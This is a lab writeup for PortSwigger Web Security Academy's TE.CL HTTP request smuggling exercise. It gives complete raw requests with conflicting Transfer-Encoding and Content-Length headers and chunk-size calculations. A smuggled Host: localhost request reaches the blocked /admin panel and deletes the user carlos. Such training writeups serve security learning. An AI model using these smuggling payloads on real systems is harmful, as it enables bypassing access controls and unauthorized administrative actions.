| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — TE.CL, Security Control Bypass |
| Difficulty | Practitioner |
| Objective | Smuggle a request to /admin to delete the user carlos |
| Note | Switch Burp Repeater to HTTP/1. Disable "Update Content-Length." |
HTTP Request Smuggling — Bypassing Front-End Security Controls (TE.CL) — Writeup¶
Navigating to /admin returns Path /admin is blocked:
Front-end is blocking it. Same goal as the CL.TE lab — bypass the front-end by smuggling directly to the back-end. This time: front-end uses Transfer-Encoding, back-end uses Content-Length.
Confirming TE Parsing on the Front-End¶
Sending a basic chunked request:
POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
4
teto
0
200 OK — the front-end processes chunked encoding. The back-end uses Content-Length, so we need to include that header and size the body accordingly.
Building the Smuggling Payload¶
The structure for TE.CL smuggling:
Content-Length: 4 ← back-end reads 4 bytes, stops there
Transfer-Encoding: chunked ← front-end processes chunks
<hex-size> ← chunk size (covers the smuggled request)
POST /admin HTTP/1.1 ← smuggled prefix
Content-Length: <n> ← inner CL for the smuggled request
teto=teto ← body
0 ← chunked terminator
Byte counting:
- Inner
Content-Lengthof the smuggled POST: from the blank line after headers toteto=teto— 16 bytes. - Chunk size (hex): from
POST /admin...down toteto=teto— 52 bytes →0x34. - Outer
Content-Length: 4: the back-end reads the chunk size line (34\r\n) — 4 bytes — then treats everything below as the next request.
First payload:
POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
34
POST /admin HTTP/1.1
Content-Length: 16
teto=teto
0
Works — the request reaches the back-end. Inflating the inner Content-Length to 20 forces the back-end to keep reading into the next real request:
Response: Admin interface only available to local users — the smuggled request is hitting the back-end, but the back-end has its own local-only check.
Adding Host: localhost¶
We need Host: localhost in the smuggled request. Adding it changes the chunk size — the body is now bigger, so we recalculate: POST /admin... through teto=teto with the extra Host header is 0x45 bytes.
POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
45
POST /admin HTTP/1.1
Content-Length: 20
Host: localhost
teto=teto
0
Admin panel returns in the response. Inspecting the source, the delete endpoint is /admin/delete?username=carlos. Updating the smuggled path — new chunk size is 0x5c:
POST / HTTP/1.1
Host: 0a5300f0034007268134c5d8003100bd.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
5c
POST /admin/delete?username=carlos HTTP/1.1
Content-Length: 20
Host: localhost
teto=teto
0
302 Found let's follow redirect and carlos will be deleted thiss will get the Lab solved o,o